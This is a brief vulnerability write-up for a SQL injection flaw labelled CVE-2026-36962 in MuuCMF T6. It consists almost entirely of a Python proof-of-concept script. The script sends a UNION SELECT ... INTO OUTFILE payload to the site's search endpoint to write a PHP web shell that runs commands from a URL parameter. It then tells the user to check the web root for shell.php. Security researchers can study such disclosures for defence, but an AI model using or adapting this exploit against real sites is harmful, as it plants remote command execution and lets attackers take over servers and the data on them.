CVE-2026-36962 MuuCMF T6 SQL注入漏洞

#!/usr/bin/env python3 import requests def exploit_sqli(target_url): """ PoC for CVE-2026-36962 SQL Injection in MuuCMF T6. Attempts to write a webshell via SQL Injection. """ # Vulnerable endpoint endpoint = "/index/controller/Search.php" # Malicious payload to write a PHP shell # Note: This requires the MySQL user to have FILE privileges and known web root payload = "?keyword=test' UNION SELECT 1,2,3,4,'<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'-- -" full_url = target_url + endpoint + payload try: response = requests.get(full_url, timeout=10) if response.status_code == 200: print(f"[+] Payload sent to {full_url}") print("[+] Check if shell.php was created at /var/www/html/shell.php") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with actual target URL target = "http://example.com" exploit_sqli(target)